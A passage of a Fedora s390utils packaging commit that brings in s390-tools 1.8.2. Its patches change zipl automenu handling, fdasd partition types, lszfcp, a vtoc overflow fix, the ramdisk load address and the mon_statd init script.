-		job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
+		if (data[(int) scan_keyword_target] == NULL) {
+			if (default_target == NULL) {
+				error_text("Unable to find default section in your config file.");
+				break;
+			}
+			job->bootmap_dir = misc_strdup(default_target);
+		} else
+			job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
 		if (job->bootmap_dir == NULL)
 			return -1;
 		/* Fill in name and address of image file */
@@ -1102,6 +1141,8 @@ get_menu_job(struct scan_token* scan, char* menu, struct job_data* job)
 		if (temp_job == NULL)
 			return -1;
 		memset((void *) temp_job, 0, sizeof(struct job_data));
+		if (data[(int) scan_keyword_target] == NULL)
+			data[(int) scan_keyword_target] = misc_strdup(job->bootmap_dir);
 		rc = get_job_from_section_data(data, temp_job,
 					job->data.menu.entry[current].name);
 		if (rc) {
@@ -1150,6 +1191,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 	i = scan_find_section(scan, DEFAULTBOOT_SECTION,
 			      scan_id_section_heading, 0);
 	if (i<0) {
+		*section = NULL;
 		error_reason("No '" DEFAULTBOOT_SECTION "' section found and "
 			     "no section specified on command line");
 		return -1;
@@ -1169,6 +1211,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 		}
 	}
 	/* Should not happen */
+	*section = NULL;
 	error_reason("No default section specified");
 	return -1;
 }
@@ -1184,19 +1227,35 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 {
 	char* data[SCAN_KEYWORD_NUM];
 	char* buffer;
+	char* default_section;
 	int rc;
 	int i;
 
+	rc = get_default_section(scan, &default_section, &i);
+	if (rc)
+		return rc;
 	if (section == NULL) {
-		rc = get_default_section(scan, &section, &i);
-		if (rc)
-			return rc;
+		section = default_section;
 		if (i) {
 			/* 'defaultmenu' was specified */
 			rc = get_menu_job(scan, section, job);
 			return rc;
 		}
 	}
+	else
+	{
+		char* name = NULL;
+
+		for (i = 0; (int) scan[i].id != 0; i++) {
+			if (scan[i].id == scan_id_section_heading) {
+				name = scan[i].content.section.name;
+			}
+			if (scan[i].id == scan_id_keyword_assignment &&
+			    scan[i].content.keyword.keyword == scan_keyword_target &&
+			    !strcmp(DEFAULTBOOT_SECTION, name))
+				default_target = misc_strdup(scan[i].content.keyword.value);
+		}
+	}
 	if (strcmp(section, DEFAULTBOOT_SECTION) == 0) {
 		error_reason("Special section '" DEFAULTBOOT_SECTION "' cannot "
 			     "be used as target section");
@@ -1268,10 +1327,118 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 }
 
 
+/* Create a fake menu to simulate the old s390utils-1.1.7 multiboot
+ * behaviour. */
+static struct scan_token *
+create_fake_menu(struct scan_token *scan)
+{
+	int i, j, pos, numsec, size, defaultpos;
+	char *name;
+	char *target;
+	char *timeout;
+	char *seclist[1024];
+	char *defaultsection;
+	char buf[1024];
+	struct scan_token *tmp;
+
+	/* Count # of sections */
+	numsec = 0;
+	name = NULL;
+	target = NULL;
+	timeout = NULL;
+	for (i = 0; (int) scan[i].id != 0; i++) {
+		if (scan[i].id == scan_id_section_heading) {
+			name = scan[i].content.section.name;
+			if (strcmp(DEFAULTBOOT_SECTION, name))
+				seclist[numsec++] = name;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    (scan[i].content.keyword.keyword == scan_keyword_dumpto ||
+		     scan[i].content.keyword.keyword == scan_keyword_dumptofs)) {
+			numsec--;
+			continue;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_target &&
+		    !strcmp(DEFAULTBOOT_SECTION, name))
+			target = scan[i].content.keyword.value;
+
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_timeout)
+			timeout = scan[i].content.keyword.value;
+	}
+	get_default_section(scan, &defaultsection, &j);
+
+	if (defaultsection == NULL) {
+		error_text("Unable to find default section in your config file.");
+		return NULL;
+	}
+
+	if (target == NULL) {
+		error_text("Keyword target is missing in default section.");
+		return NULL;
+	}
+
+	default_target = misc_strdup(target);
+
+	size = i+6+numsec;
+	tmp = (struct scan_token *) misc_malloc(size * sizeof(struct scan_token));
+	if (tmp == NULL) {
+		error_text("Couldn't allocate memory for menu entries");
+		return NULL;
+	}
+
+	memset(tmp, 0, size * sizeof(struct scan_token));
+	memcpy(tmp, scan, i * sizeof(struct scan_token));
+	free(scan);
+	scan = tmp;
+
+	defaultpos = 0;
+	for (j = 0; j < numsec; j++) {
+		if (!strcmp(defaultsection, seclist[j]))
+			defaultpos = j+1;
+	}
+
+	snprintf(buf, 1024, "%d", defaultpos);
+
+	scan[i].id = scan_id_menu_heading;
+	scan[i].line = i;
+	scan[i++].content.menu.name = misc_strdup("rh-automatic-menu");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_target;
+	scan[i++].content.keyword.value = misc_strdup(target);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_default;
+	scan[i++].content.keyword.value = misc_strdup(buf);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_prompt;
+	scan[i++].content.keyword.value = misc_strdup("1");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_timeout;
+	if (timeout)
+		scan[i++].content.keyword.value = misc_strdup(timeout);
+	else
+		scan[i++].content.keyword.value = misc_strdup("15");
+
+	pos = i;
+	for (i = 0; i<numsec; i++) {
+		scan[pos].id = scan_id_number_assignment;
+		scan[pos].line = pos;
+		scan[pos].content.number.number = i+1;
+		scan[pos++].content.number.value = misc_strdup(seclist[i]);
+	}
+
+	return scan;
+}
+
 static int
 get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 {
-	struct scan_token* scan;
+	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
 	int rc;
@@ -1303,9 +1470,22 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
+
+	if (cmdline->automenu) {
+		nscan = create_fake_menu(scan);
+		if (nscan == NULL) {
+			scan_free(scan);
+			return -1;
+		}
+		scan = nscan;
+	}
+
 	/* Get job from config file data */
-	if (cmdline->menu != NULL)
+	if (cmdline->menu != NULL || cmdline->automenu) {
+		if (cmdline->automenu)
+			cmdline->menu = misc_strdup("rh-automatic-menu");
 		rc = get_menu_job(scan, cmdline->menu, job);
+	}
 	else {
 		rc = get_section_job(scan, cmdline->section, job,
 				cmdline->data[(int) scan_keyword_parameters]);
diff --git a/zipl/src/scan.c b/zipl/src/scan.c
index 9948092..caca3cf 100644
--- a/zipl/src/scan.c
+++ b/zipl/src/scan.c
@@ -33,9 +33,9 @@ enum scan_key_state scan_key_table[SCAN_SECTION_NUM][SCAN_KEYWORD_NUM] = {
  *			     rs                                 enu
  */
 /* defaultboot	*/
-	{opt, inv, inv, inv, inv, inv, inv, inv, inv, inv, inv, opt, inv, inv},
+	{opt, inv, inv, inv, inv, inv, inv, inv, req, inv, opt, opt, inv, inv},
 /* ipl		*/
-	{inv, inv, inv, req, opt, opt, opt, inv, req, inv, inv, inv, inv, inv},
+	{inv, inv, inv, req, opt, opt, opt, inv, opt, inv, inv, inv, inv, inv},
 /* segment load */
 	{inv, inv, inv, inv, inv, inv, inv, req, req, inv, inv, inv, inv, inv},
 /* part dump	*/
diff --git a/zipl/src/zipl.c b/zipl/src/zipl.c
index 9cb764c..4d9fd36 100644
--- a/zipl/src/zipl.c
+++ b/zipl/src/zipl.c
@@ -73,6 +73,7 @@ static const char* usage_text[] = {
 "-n, --noninteractive            Answer all confirmation questions with 'yes'",
 "-V, --verbose                   Provide more verbose output",
 "-a, --add-files                 Add all referenced files to bootmap file",
+"-x, --no-automenu               Don't autogenerate multiboot menu",
 "    --dry-run                   Simulate run but don't modify IPL records"
 };
 
-- 
1.6.3.3


0003-s390-tools-1.8.1-fdasd-su.patch:
 fdasd.c |   11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

--- NEW FILE 0003-s390-tools-1.8.1-fdasd-su.patch ---
>From f8acd63e169cdec39c47ac0d8c1b98e115cf24a1 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:01 +0200
Subject: [PATCH 3/9] s390-tools-1.8.1-fdasd-su

---
 fdasd/fdasd.c |   10 ++++++----
 1 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index aa16659..3a54968 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -2009,10 +2009,12 @@ fdasd_get_geometry (fdasd_anchor_t *anc)
 	if (anc->verbose) printf("disk type check     : ok\n");
 
         if (dasd_info.FBA_layout != 0) {
-                snprintf(err_str, ERROR_STRING_SIZE, 
-			"%s is not formatted with z/OS compatible "
-			"disk layout!", options.device);
-                fdasd_error(anc, wrong_disk_format, err_str);
+                if(!anc->silent) {
+                    snprintf(err_str, ERROR_STRING_SIZE,
+			    "%s is not formatted with z/OS compatible "
+			    "disk layout!", options.device);
+                    fdasd_error(anc, wrong_disk_format, err_str);
+                }
         }      
 
 	if (anc->verbose) printf("disk layout check   : ok\n");
-- 
1.6.3.3


0004-s390-tools-1.8.1-fdasd-raid-lvm.patch:
 fdasd.c |   66 +++++++++++++++++++++++++++++++++++++++++++++++++++-------------
 1 file changed, 53 insertions(+), 13 deletions(-)

--- NEW FILE 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch ---
>From 35298f5f9512835071b8c08e843731bbfbb15b7e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:16 +0200
Subject: [PATCH 4/9] s390-tools-1.8.1-fdasd-raid-lvm

---
 fdasd/fdasd.c |   65 ++++++++++++++++++++++++++++++++++++++++++++++----------
 1 files changed, 53 insertions(+), 12 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index 3a54968..a526d7f 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -258,10 +258,10 @@ fdasd_error(fdasd_anchor_t *anc, enum fdasd_failure why, char *str)
 static int
 read_line(void) 
 {
-	bzero(line_buffer, LINE_LENGTH);
 	line_ptr = line_buffer;
         if (!fgets(line_buffer, LINE_LENGTH, stdin))
 		return 0;
+	line_buffer[LINE_LENGTH-1] = 0;
 	while (*line_ptr && !isgraph(*line_ptr))
 		line_ptr++;
 	return *line_ptr;
@@ -312,6 +312,10 @@ fdasd_partition_type (char *str)
 		strcpy(str, "Linux native");
 	else if (strncmp("SWAP  ", str, 6) == 0)
 		strcpy(str, "Linux swap");
+	else if (strncmp("RAID  ", str, 6) == 0)
+		strcpy(str, "Linux Raid");
+	else if (strncmp("LVM   ", str, 6) == 0)
+		strcpy(str, "Linux LVM");
 	else
 		strcpy(str, "unknown");
 
@@ -1122,14 +1126,24 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, s2, 31);
 		}
 		else {
+			char str[20];
 			char *tmp = strstr(ch, "SWAP");
+			char *tmp1 = strstr(ch, "RAID");
 
 			/* create a new data set name */
 			while (getpos(anc, k) > -1)
 				k++;
 
 			setpos(anc, k, i-1);
-			
+
+			strncpy(s2, ch, 44);
+			s2[44]=0;
+			vtoc_ebcdic_dec(s2, s2, 44);
+			c2 = strstr(s2, "PART");
+			if (c2 != NULL) strncpy(str, c2+=9, 6);
+			str[6] = '\0';
+			fdasd_partition_type(str);
+
 			strncpy(ch, "LINUX.V               "
 				"                      ", 44);
 
@@ -1145,10 +1159,21 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, dsno, 4);
 
 			c1 += 4;
-			if (tmp)
-				strncpy(c1, ".SWAP", 5);
-			else
-				strncpy(c1, ".NATIVE", 7);
+			if (tmp || tmp1) {
+				if (tmp)
+					strncpy(c1, ".SWAP", 5);
+				if (tmp1)
+					strncpy(c1, ".RAID", 5);
+			} else {
+				if (strcmp("unknown", str) == 0) {
+					strncpy(c1, ".NATIVE", 7);
+				}
+				else {
+					strncpy(c1, ".", 1);
+					strncpy(c1+1, c2, 6);
+				}
+			}
+
 		}
 		vtoc_ebcdic_enc(ch, ch, 44);
 		if (anc->verbose) printf("%2x ", part_info->f1->DS1FMTID);
@@ -1433,9 +1458,10 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
 
 	printf("current partition type is: %s\n\n", fdasd_partition_type(str));
 	printf("   1  Linux native\n" \
-	       "   2  Linux swap\n\n");
+	       "   2  Linux swap\n" \
+	       "   3  Linux raid\n\n");
 	part_type = 0;
-	while ((part_type < 1) || (part_type > 2)) {
+	while ((part_type < 1) || (part_type > 3)) {
         	while (!isdigit(part_type = 
 				read_char("new partition type: ")));
         	part_type -= 48;
@@ -1448,6 +1474,9 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
         case 2:
 		strncpy(str, "SWAP  ", 6);
                 break;
+        case 3:
+		strncpy(str, "RAID  ", 6);
+                break;
         default:
                 printf("'%d' is not supported!\n", part_type);
         }
@@ -1625,7 +1654,7 @@ fdasd_process_invalid_vtoc(fdasd_anchor_t *anc)
 static void
 fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 {
-	int f1_counter = 0, f7_counter = 0, f5_counter = 0;
+	int f1_counter = 0, f7_counter = 0, f5_counter = 0, oldfmt = 0;
 	int i, part_no, f1_size = sizeof(format1_label_t);
 	partition_info_t *part_info = anc->first;
 	format1_label_t f1_label;
@@ -1677,14 +1706,26 @@ fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 			vtoc_ebcdic_enc(part_info->f1->DS1DSNAM,
 					part_info->f1->DS1DSNAM, 44);
 
-			if ((part_no < 0) || (part_no >= USABLE_PARTITIONS))
+			/* this dasd has data set names 0000-0002
+                           but we use now 0001-0003 */
+                        if (part_no == -1)
+                                oldfmt++;
+
+			if (((oldfmt == 0) && (part_no < 0))
+			    || (part_no >= USABLE_PARTITIONS))
 				printf("WARNING: partition number (%i) found "
 				       "in data set name of an existing "
 				       "partition\ndoes not match range of "
 				       "possible partition numbers (1-%d)\n\n",
 				       part_no + 1, USABLE_PARTITIONS);
-			else
-				setpos(anc, part_no, f1_counter);
+			else {
+				if (oldfmt) /* correct +1 */ {
+					setpos(anc, part_no+1, f1_counter);
+					printf("Correcting f1 header number!\n");
+				}
+				else
+					setpos(anc, part_no, f1_counter);
+			}
 
 			part_info = part_info->next;
 			f1_counter++;
-- 
1.6.3.3


0005-don-t-create-automenu-when-default-menu-exists.patch:
 job.c |   26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

--- NEW FILE 0005-don-t-create-automenu-when-default-menu-exists.patch ---
>From 1efcfe8d7ad20f7a3f584628375da60682b4579c Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 15:28:06 +0200
Subject: [PATCH 5/9] don't create automenu when default menu exists

---
 zipl/src/job.c |   25 +++++++++++++++----------
 1 files changed, 15 insertions(+), 10 deletions(-)

diff --git a/zipl/src/job.c b/zipl/src/job.c
index 6a526e4..89c8c23 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -1441,6 +1441,8 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
+	char* default_section;
+	int is_menu;
 	int rc;
 
 	/* Read configuration file */
@@ -1470,20 +1472,23 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
-
-	if (cmdline->automenu) {
-		nscan = create_fake_menu(scan);
-		if (nscan == NULL) {
-			scan_free(scan);
-			return -1;
-		}
-		scan = nscan;
-	}
+	
+	/* disable automenu iff default menu exists */
+	rc = get_default_section(scan, &default_section, &is_menu);
+	if (!rc && is_menu)
+		cmdline->automenu = 0;
 
 	/* Get job from config file data */
 	if (cmdline->menu != NULL || cmdline->automenu) {
-		if (cmdline->automenu)
+		if (cmdline->automenu) {
+			nscan = create_fake_menu(scan);
+			if (nscan == NULL) {
+				scan_free(scan);
+				return -1;
+			}
+			scan = nscan;
 			cmdline->menu = misc_strdup("rh-automatic-menu");
+		}
 		rc = get_menu_job(scan, cmdline->menu, job);
 	}
 	else {
-- 
1.6.3.3


0006-s390-tools-1.8.1-zipl-kdump-man.patch:
 zipl.8 |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE 0006-s390-tools-1.8.1-zipl-kdump-man.patch ---
>From 894de5382653e4389dc8490f2ee4a2a9c59eb86d Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 19 Jun 2009 10:01:30 +0200
Subject: [PATCH 6/9] s390-tools-1.8.1-zipl-kdump-man

Description: Add kdump kernel installation instruction to zipl man page.
Symptom:     User wants to prepare SCSI disk for dump, but has not installed
             the kdump kernel rpm.
Problem:     The installation of the kdump kernel rpm is prereq for preparing
             a SCSI dump disk for dump.
Solution:    Document that in the zipl man page.
---
 zipl/man/zipl.8 |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 6ebf240..6df6026 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -176,6 +176,8 @@ will be incomplete.
 It is not possible to specify both this parameter and the name of a menu
 or configuration section on the command line at the same time.
 
+.B Note that before using this option the "kernel-kdump" rpm has to be
+.B installed.
 .TP
 .BR "\-M <DUMPLIST[,SIZE]>" " or " "--mvdump=<DUMPLIST[,SIZE]>"
 Install a multi-volume dump record on each device associated with one of the
-- 
1.6.3.3


0007-s390-tools-1.8.1-lszfcp-perf.patch:
 lszfcp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0007-s390-tools-1.8.1-lszfcp-perf.patch ---
>From 80e1e88e108b774c7aa7c201326f1a92cf1b7e35 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Wed, 26 Aug 2009 14:21:14 +0200
Subject: [PATCH 7/9] s390-tools-1.8.1-lszfcp-perf

---
 zconf/lszfcp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zconf/lszfcp b/zconf/lszfcp
index d0bf84f..a872d05 100755
--- a/zconf/lszfcp
+++ b/zconf/lszfcp
@@ -233,7 +233,7 @@ show_devices()
 	# Differentiate old and new sysfs layout
 	if $FC_CLASS; then
 		SCSI_DEVICE_LIST=`ls -d \
-			$SYSFS/devices/css0/*/*/host*/rport*/target*/*/ \
+			$SYSFS/bus/ccw/drivers/zfcp/*/host*/rport*/target*/*/ \
 		       	2>/dev/null |grep -P '\d+:\d+:\d+:\d+'`
 	else
 		SCSI_DEVICE_LIST=`ls -d $SYSFS/devices/css0/*/*/host*/*/`
-- 
1.6.3.3


0008-fix-string-overflow-in-vtoc_volume_label_init.patch:
 vtoc.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-fix-string-overflow-in-vtoc_volume_label_init.patch ---
>From d0c06736586d8f85f2e7c64291f3f289c12a0caa Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 24 Sep 2009 09:12:39 +0200
Subject: [PATCH 8/9] fix string overflow in vtoc_volume_label_init

Originaly it tries to copy a 84B string into 4B field and reset also
the other fields thru the overflow. This doesn't work with recent GCC
and the security-related compile flags that are used in Fedora.
---
 libvtoc/vtoc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/libvtoc/vtoc.c b/libvtoc/vtoc.c
index 62a02a0..cebd5a4 100644
--- a/libvtoc/vtoc.c
+++ b/libvtoc/vtoc.c
@@ -326,7 +326,7 @@ void vtoc_volume_label_init (volume_label_t *vlabel)
 {
 	sprintf(buffer, "%84s", " ");
 	vtoc_ebcdic_enc(buffer, buffer, 84);	
-	strncpy(vlabel->volkey, buffer, 84);
+	memcpy(vlabel, buffer, 84);
 }
 
 
-- 
1.6.3.3


0009-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0009-change-default-load-address-for-ramdisk.patch ---
>From 1697d4f40be133c78cd09fb0af14af22e8c6219e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Sun, 4 Oct 2009 17:46:16 +0200
Subject: [PATCH 9/9] change default load address for ramdisk

The default load address for the initial ramdisk is changed from
0x800000 to 0x2000000 to allow larger kernels to be loaded.
---
 zipl/include/zipl.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
index 1f70e48..d2d26dd 100644
--- a/zipl/include/zipl.h
+++ b/zipl/include/zipl.h
@@ -22,7 +22,7 @@
 #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
 #define DEFAULT_STAGE3_ADDRESS		0xa000LL
 #define DEFAULT_IMAGE_ADDRESS		0x10000LL
-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
 
 #define PSW_ADDRESS_MASK		0x000000007fffffffLL
 #define PSW_LOAD			0x0008000080000000LL
-- 
1.6.3.3


0010-improve-mon_statd-init-script.patch:
 mon_statd |  114 ++++++++++++++++++++++++++++++++++----------------------------
 1 file changed, 64 insertions(+), 50 deletions(-)

--- NEW FILE 0010-improve-mon_statd-init-script.patch ---
>From 7cd1f2254e27cae8e061d1b42fa6c78bc10a5f39 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 8 Oct 2009 10:29:23 +0200
Subject: [PATCH] improve mon_statd init script

- stop: do not print error messages if a daemon is not configured
- start: do not load module if no daemon is configured
- remove useless newlines
---
 etc/init.d/mon_statd |  113 ++++++++++++++++++++++++++++----------------------
 1 files changed, 64 insertions(+), 49 deletions(-)

diff --git a/etc/init.d/mon_statd b/etc/init.d/mon_statd
index 4d84b5b..60bcf00 100755
--- a/etc/init.d/mon_statd
+++ b/etc/init.d/mon_statd
@@ -22,7 +22,6 @@ PROCD_PATH=/usr/sbin/$PROCD
 CONFIG_FILE=/etc/sysconfig/$DAEMON
 FSSTATD_PID_FILE=/var/run/$FSSTATD.pid
 PROCD_PID_FILE=/var/run/$PROCD.pid
-RETVAL=0
 
 # source function library
 . /lib/lsb/init-functions
@@ -32,68 +31,81 @@ if [ -f $CONFIG_FILE ]; then
 	. $CONFIG_FILE
 fi
 
-start()
+load_kernel_module()
 {
 	if [ ! -e /dev/monwriter ]; then
 		echo "Loading monwriter module..."
 		modprobe monwriter 2>&1
-		if [ "$?" -ne 0 ]; then
+		if [ $? -ne 0 ]; then
+			exit 1
+		fi
+		udevsettle
+		if [ $? -ne 0 ]; then
 			exit 1
 		fi
-		while [ ! -e /dev/monwriter ]; do
-			sleep 0
-		done
 	fi
+}
 
-	if [ ! -f $FSSTATD_PID_FILE -a "$FSSTAT" = "yes" ]; then
-		echo -n $"Starting $FSSTATD:"
-		$FSSTATD_PATH -i $FSSTAT_INTERVAL
-		if [ $? == 0 ]; then
+start_daemon()
+{
+	local daemon_name=$1
+	local daemon_interval=$2
+	local daemon_pid_file=$3
+	local daemon_path=$4
+
+	if [ ! -f $daemon_pid_file ]; then
+		load_kernel_module
+		echo -n "Starting $daemon_name:"
+		$daemon_path -i $daemon_interval
+		if [ $? -eq 0 ]; then
 			touch /var/lock/subsys/mon_statd
 			log_success_msg
 		else
 			log_failure_msg
 		fi
-	elif [ "$FSSTAT" = "yes" ]; then
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE)) is already running..."
+	else
+		echo "$daemon_name (pid $(cat $daemon_pid_file)) is already running..."
+	fi
+}
+	
+start()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		start_daemon $FSSTATD $FSSTAT_INTERVAL $FSSTATD_PID_FILE \
+			$FSSTATD_PATH
 	fi
 
-	if [ ! -f $PROCD_PID_FILE -a "$PROC" = "yes" ]; then
-		echo -n $"Starting $PROCD:"
-		$PROCD_PATH -i $PROC_INTERVAL
-		if [ $? == 0 ]; then
-			touch /var/lock/subsys/mon_statd
-			log_success_msg
-		else
-			log_failure_msg
-		fi
-	elif [ "$PROC" = "yes" ]; then
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE)) is already running..."
+	if [ "$PROC" = "yes" ]; then
+		start_daemon $PROCD $PROC_INTERVAL $PROCD_PID_FILE \
+			$PROCD_PATH
 	fi
-	echo
 }
 
-stop()
+stop_daemon()
 {
-	echo -n $"Stopping $FSSTATD:"
-	if [ -f $FSSTATD_PID_FILE ]; then
-		killproc $FSSTATD_PATH -TERM
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_path=$3
+
+	echo -n "Stopping $daemon_name:"
+	if [ -f $daemon_pid_file ]; then
+		killproc $daemon_path -TERM
 		log_success_msg
-		rm -f $FSSTATD_PID_FILE
+		rm -f $daemon_pid_file
 	else
 		log_failure_msg
 	fi
+}
 
-	echo -n $"Stopping $PROCD:"
-	if [ -f $PROCD_PID_FILE ]; then
-		killproc $PROCD_PATH -TERM
-		log_success_msg
-		rm -f $PROCD_PID_FILE
-	else
-		log_failure_msg
+stop()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		stop_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTATD_PATH
+	fi
+	if [ "$PROC" = "yes" ]; then
+		stop_daemon $PROCD $PROCD_PID_FILE $PROCD_PATH
 	fi
 	rm -f /var/lock/subsys/mon_statd
-	echo
 }
 
 restart() {
@@ -101,20 +113,23 @@ restart() {
 	start
 }
 
-status()
+status_daemon()
 {
-	if [ ! -f $FSSTATD_PID_FILE ]; then
-		echo "$FSSTATD is not running."
-	else
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE), interval: $FSSTAT_INTERVAL) is running."
-	fi
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_interval=$3
 
-	if [ ! -f $PROCD_PID_FILE ]; then
-		echo "$PROCD is not running."
+	if [ ! -f $daemon_pid_file ]; then
+		echo "$daemon_name is not running."
 	else
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE), interval: $PROC_INTERVAL) is running."
+		echo "$daemon_name (pid $(cat $daemon_pid_file), interval: $daemon_interval) is running."
 	fi
-	echo
+}
+
+status()
+{
+	status_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTAT_INTERVAL
+	status_daemon $PROCD $PROCD_PID_FILE $PROC_INTERVAL
 }
 
 # How are we called?
@@ -133,7 +148,7 @@ case "$1" in
 		;;
 	*)
 		echo "Usage: $DAEMON {start|stop|status|restart|reload}"
-		RETVAL=1
+		exit 1
 esac
 
-exit $RETVAL
+exit 0
-- 
1.6.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Jul 2009 09:22:59 -0000	1.3
+++ .cvsignore	8 Oct 2009 13:54:27 -0000	1.4
@@ -1,4 +1,4 @@
-s390-tools-1.8.1.tar.bz2
+s390-tools-1.8.2.tar.bz2
 cmsfs-1.1.8c.tar.gz
 lib-zfcp-hbaapi-2.0.tar.gz
 src_vipa-2.0.4.tar.gz


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/s390utils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- s390utils.spec	4 Oct 2009 15:58:07 -0000	1.9
+++ s390utils.spec	8 Oct 2009 13:54:28 -0000	1.10
@@ -7,8 +7,8 @@
 Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
-Version:        1.8.1
-Release:        8%{?dist}
+Version:        1.8.2
+Release:        1%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,28 +27,16 @@ Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
-Patch1:   0001-s390-tools-1.8.1-common-mak.patch
-Patch4:   0004-s390-tools-1.8.1-zipl-automenu.patch
-Patch5:   0005-s390-tools-1.8.1-fdasd-su.patch
-Patch6:   0006-s390-tools-1.8.1-fdasd-raid-lvm.patch
-Patch8:   0008-s390-tools-1.8.1-ziorep-fixes.patch
-Patch9:   0009-s390-tools-1.8.1-cflags.patch
-Patch10:  0010-s390-tools-1.8.1-defaultmenu.patch
-Patch11:  0011-s390-tools-1.8.1-execstack.patch
-Patch12:  0012-s390-tools-1.8.1-ziomon-fixes.patch
-Patch13:  0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch
-Patch14:  0014-s390-tools-1.8.1-zipl-kdump-man.patch
-Patch15:  0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch
